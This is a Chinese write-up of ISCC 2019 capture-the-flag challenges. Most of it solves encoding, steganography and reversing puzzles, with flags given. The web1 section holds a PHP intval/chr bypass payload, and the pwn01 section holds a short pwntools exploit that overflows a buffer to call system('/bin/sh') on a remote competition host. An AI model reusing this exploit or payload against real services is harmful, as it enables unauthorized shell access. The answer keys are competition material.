ISCC2019线上部分wp

Misc

隐藏的信息

0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 071 0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113

没有比8大的数字,猜测和八进制有关,转换成字符串

a = "0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 071 0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113"
flag = a.split(' ')
for i in flag:
    print(chr(int(i,8)))

V2VsbCBkb25lIQoKIEZsYWc6IElTQ0N7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K

尝试用base64解,得到flag

import base64
flag="V2VsbCBkb25lIQoKIEZsYWc6IElTQ0N7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K"
print(base64.b64decode(flag))

Flag: ISCC{N0_0ne_can_st0p_y0u}

倒立屋

图片如下:

14577467-5170a41336efa73d.png

箭头指向房子的底部,联想到了lsb隐写查看图片的最低有效位。打开加密图片后,选择Analyse-DataExtract,Bit Planes 选Reg、Green、Blue的第0位,Bit Order选LSBFirst, Bit Plane Order选RGB
14577467-1a97ab680714b9c5.png
猜测flag是IsCc_2019,发现不对,根据题目倒房子猜测是逆序。flag是 9102_cCsI

Keyes' secret

猜测和键盘有关系。中间发现{},猜测里面的就是flag
括号里面:

{WSXIUYHNBVTRFVBTRFVBQWERTYQAZSCEWSXCDEEFVTYHNMKJTGBNMJUYGRDXCVBMNBVCDRTGHUWSXCFEQWERTYTRFVBWSXNBVCXSWERFRFVGYHNWSXCDEMNBVCDRTGHU}

WSX----------------------I
IUYHNBV---------------S
TRFVB------------------C
QAZSEC----------------K
WSXCDE---------------E
EFVT---------------------Y
YHNMKJ----------------B
TGBNMJU--------------O
GRDXCVB--------------A
MNBVCDRTGHU-----R
WSXCFE----------------D
NBVCXSWERF--------P
RFVGYHN--------------H
MNBVCDRTGHU-----R
括号里面为ISCC KEYBOARD CIPHER,有括号,猜测flag有格式

FLAG{ISCC KEYBOARD CIPHER}

Aesop's secret

题目提示:

Aesop's chest and key lie within. To find it.

key应该在动图里,将闪图分解
14577467-7a47aa69459e72cc.png

key是ISCC

将文件放在winhex中发现有一段base64的字符串
14577467-b268c8c3f88e0733.png
用base64解密发现不可行,根据题目Aesop's secret,猜测经过了aes加密,key是ISCC.
14577467-5bf1409d51baea16.png
14577467-765658d46412e1d3.png
两次解密得到flag

flag{DugUpADiamondADeepDarkMine}

碎纸机

题目:

“想要我的宝藏吗?如果想要的话,那就到碎纸机中找吧,我全部都放在那里。”

根据提示用binwalk -e将图片分离
得到压缩包,十张图片和txt。

碎纸机中居然是一堆黑色和白色的碎片,但是这些碎片之中到底会有什么样的宝藏呢?
我去问了欧鹏·曦文同学,他说他有办法恢复拼图原貌,但是前提是要我把真正有用的东西给他。

欧鹏·曦文,opencv?然而并没啥用
用winhex查看图片信息,发现只有末尾1250位的数据不相同

from PIL import Image
flag_pic = Image.new("RGBA",(143,50),(255,255,255))
for fn in range(1,11):
    fp=open(r'C:\Users\ysm80\Desktop\ISCC\misc\paper\puzzle\puzzle'+str(fn)+'.jpg','rb')
    all_data=bytearray(fp.read())
    data=all_data[-1250:]                           #读图片最后1250位
    pic = Image.new("RGBA",(50,50),(255,255,255))   #新建图像对象,RGBA通道,xy轴为50,颜色为white(255,255,255)
    dex=0                                           #初始化标记位为0
    for i in range(0,25):
        for j in range(0,25):                       #两层循环,写入图片上半部分颜色
            pic.putpixel((j,i),(255-data[dex],255-data[dex],255-data[dex])) #设置坐标(j,i) 颜色为(255-data[dex],255-data[dex],255-data[dex])
            dex=dex+1                                                       #标记位+1
    for i in range(25):
        for j in range(0,25):                       #两层循环,写入图片下半部分颜色
            pic.putpixel((j,i+25),(255-data[dex],255-data[dex],255-data[dex]))  #设置坐标(j,i+25) RGB值同上
            dex=dex+1                                                       #标记位+1
    for y in range(0,50):
        for x in range(0,13,1):
            if pic.getpixel((x,y)) < pic.getpixel((x+13,y)):    #若x轴0~12的像素值 小于 13~25的值,则写入 0~12的像素值
                flag_pic.putpixel((x+fn*13,y),pic.getpixel((x,y)))
            else:                                               #否则写入后 13~25的像素值
                flag_pic.putpixel((x+fn*13,y),pic.getpixel((x+13,y)))
flag_pic.show()
14577467-d6d65cfa54fc0ad0.png

Flag={ISCC_is_so_interesting_!}

他们能在一起吗?

扫描二维码得到字符串UEFTUyU3QjBLX0lfTDBWM19ZMHUlMjElN0Q=
用base64解密得到PASS%7B0K_I_L0V3_Y0u%21%7D
由题目他们能在一起吗?猜测所得的字符串PASS 0K_I_L0V3_Y0u%7B%21%7D分开
%7B%21%7D用url解密得{!}
合在一起就是PASS{0K_I_L0V3_Y0u!}
但是提交不对
尝试用binwalk分离,得到一个有密码的压缩包
用PASS{0K_I_L0V3_Y0u!}当作密码,错误
尝试输入0K_I_L0V3_Y0u!得到flag

ISCC{S0rrY_W3_4R3_Ju5T_Fr1END}

无法运行的exe

打开文件,发现base64字串,用脚本换成图片,将base64字符串保存到1.txt
iVBORw0KGgAAAAANSUhEUgAAASkAAAEpAQAAAADn4ukvAAACAklEQVR4nO2aQY6bQBBF3wdLsGvvsoSb4JzM+GbmCLmBvcwOFpFAMvwsIJ5ZjsRkcEj3BlR6Un9apa+qLmQ+sC7JRyiIWMQiFrGIfRjrNK+yy0eJi0oYl1i+sbY9YJlt+0roDgBVcwTZttvNte0BGyXV0OXInC9VCyCpfAFt+8FCn04s2ftlm/4/WBcGSTrR5V+36Z6xw/xIDTSELpsSzt/L0I5goNtQ2w6w+XgHAVB034bUguJH/stzLNtO216w4HndGA5gne5H0iXWb6xtN9hFZejTUfKV0I8Jqpuyi3XvJ2FnNwpDaqhuz2CI2bsG4+kA9rVwjwyVW9IJ+7p0HPUrf8IrY8ytWTrhurqxWO6NzDZUt9mW4/Guw8bU0JSAxeVUtACO3rsWW7J38QT3sycUbfbQWxrH7F2HZZ6ARgoPWTWEHmvJ5421/dPY0rXhxHAvB2kyzf34M9ekjbXtBxtTS6pa0gnVFPcci3NsK1Zi+P1qM0+8qxwo2ui9q7HntCJ0SlimFQmcfdtc2x6wP9OKLjw0Jy3pBHA/bq5tD9gyrViGQdyPgyRoqui9n4llD0u+QvYA1xDbis/EhoPsGkJ3kLmcvmTTHWMsBYM9X+nMlw92nz5riVg5rMUGzSM2siFBvgJYql9B2z+NHQDC23986fKaPTDE+96IRSxiEfsb2G/jeCyvdHD3rQAAAABJRU5ErkJggg==
转换成图片

import os, base64
with open("C:\\Users\\ysm80\\Desktop\\1.txt", "r") as f:
    imgdata = base64.b64decode(f.read())
    file = open('C:\\Users\\ysm80\\Desktop\\1.png', 'wb')
    file.write(imgdata)
    file.close()

图片打不开,用Comfy File Repair修复文件得到二维码
14577467-0cb3d424b37855d8.png

扫描二维码得到flag

IScC_2019

Welcome

把文件后缀名还称zip,解压得到文件。文件除了开头和结尾只有四种类型,都是以洮萇二字开头,脑洞一下二进制,flag的f二进制为01100110,尝试替换一下
洮蓠朩暒戶囗代表0
萇條戶囗代表1
萇條蓅烺計劃代表1
洮蓠朩暒蓅烺計劃代表0
将得到的二进制转换为十进制,对照ascii表

flag{ISCC_WELCOME}

Reverse

answer to everything

题目提示:

sha1 得到了一个神秘的二进制文件。寻找文件中的flag,解锁宇宙的秘密

猜测和sha1加密有关,用ida打开文件

14577467-ebc5f31d1cb9f8e5.png

看到字符串 #kdudpeh,因为 Submit without ang tags猜测去掉#之后将kdudpehe进行加密,得到flag
14577467-64e3e2377893660e.png

ISCC{80ee2a3fe31da904c596d993f7f1de4827c1450a}

Rev01

https://www.anquanke.com/post/id/169970
https://go-madhat.github.io/insomnihack_beginner_reverse/
动态没看出来,那就看静态的吧。。。用ida查看

14577467-31bdbc20df48a5bf.png

do
{
if ( v16 == v24 )
break;
v2 = ((*(_DWORD *)(v33 + 4 * v25) >> 2) ^ 0xA) == *(_DWORD *)(v16 + 4 * v25);
++v25;
v26 += v2;
v24 -= 4LL;
}

a=[0x154,0x180,0x1FC,0x1E4,
0x1F8,0x154,0x190,0x1BC,
0x1BC,0x1B8,0x154,0x1F8,
0x194,0x154,0x1B4,0x1BC,
0x1F8,0x154,0x1F4,0x188,
0x1AC,0x1F8,0x154,0x18C,
0x1E4,0x154,0x190,0x1BC,
0x1BC,0x1B8,0x1BC,0x1B8,0x22,0x000,0x220]
flag=''
for i in a:
    flag += chr(( i >> 2) ^10)
print (flag)

just_need_to_get_what_is_needed.

dig dig dig

14577467-b2c7b6e0b24de8d7.png

@1DE!440S9W9,2T%Y07=%<W!Z.3!:1T%S2S-),7-$/3Tuuencode解码得到 FIAQD3gvLKAyAwEspz90ZGAsK3I1sD==
rot13解码 SVNDQ3tiYXNlNjRfcm90MTNfX3V1fQ==
base64解码得到flag

ISCC{base64_rot13__uu}

简单Python

用python反编译工具得到反编译代码

#!/usr/bin/env python
# encoding: utf-8
# 如果觉得不错,可以推荐给你的朋友!http://tool.lu/pyc
import base64

def encode(message):
    s = ''
    for i in message:
        x = ord(i) ^ 32
        x = x + 16
        s += chr(x)
    
    return base64.b64encode(s)

correct = 'eYNzc2tjWV1gXFWPYGlTbQ=='
flag = ''
print 'Input flag:'
flag = raw_input()
if encode(flag) == correct:
    print 'correct'
else:
    print 'wrong'
import base64

def encode(message):
    s = ''
    for i in message:
        x = ord(i) ^ 32
        x = x + 16
        s += chr(x)
    
    return base64.b64encode(s)

correct = 'eYNzc2tjWV1gXFWPYGlTbQ=='
flag = ''
print 'Input flag:'
flag = raw_input()
if encode(flag) == correct:
    print 'correct'
else:
    print 'wrong'

eYNzc2tjWV1gXFWPYGlTbQ==用base64解密,在把每个字符转为ascii码,再减去16,异或32再转为字符得到flag

import base64
correct ='eYNzc2tjWV1gXFWPYGlTbQ=='
s=base64.b64decode(correct)
flag=''
for i in s:
    i=chr((ord(i)-16)^32)
    flag+=i
print flag

ISCC{simple_pyc}

Rev02

这是一个300分沙雕题。。。
用ida打开看hex就是flag


14577467-69d788a2f188e606.png

flag{ST0RING_STAT1C_PA55WORDS_1N_FIL3S_1S_N0T_S3CUR3}

Web

web2

14577467-30c020401af323ad.png

密码为三位数,emmm倒着试试很快就出来了。。。

flag{996_ICU}

web1

count():返回数组元素的数量。
unset():清除参数。
chr():根据指定的 ASCII 值返回字符,但是一个数大于256,就会自动取mod256后再把结果传进函数
当intval里的数据是16进制时,强制换会有漏洞
构造如下payload:
value[0]=375&value[1]=307&value[2]=364&value[3]=355&value[4]=304&value[5]=365&value[6]=357&value[7]=351&value[8]=340&value[9]=367
&value[10]=351&value[11]=329&value[12]=339&value[13]=323&value[14]=323&value[15]=306&value[16]=304&value[17]=305&value[18]=313&password=0x1234

flag{8311873e241ccad54463eaa5d4efc1e9}

pwn

pwn01

exp

from pwn import *
esp_adr=0xffffddb2
sys_adr=0xf7e5a940
pl='/bin/sh\x00'+'a'*6
pl+=flat([esp_adr+0x1e,0,0])
pl+=flat([sys_adr,0,esp_adr])
p=remote('39.100.87.24',8101)
#p = process("./pwn01")
p.send(pl)
print p.recv()

flag{f530c5ef-3a8a-4271-91f7-3c5ebd87fbe4}

转载于:https://www.jianshu.com/p/9a7563136e7b

猜你喜欢

转载自blog.csdn.net/weixin_33749131/article/details/91226563
今日推荐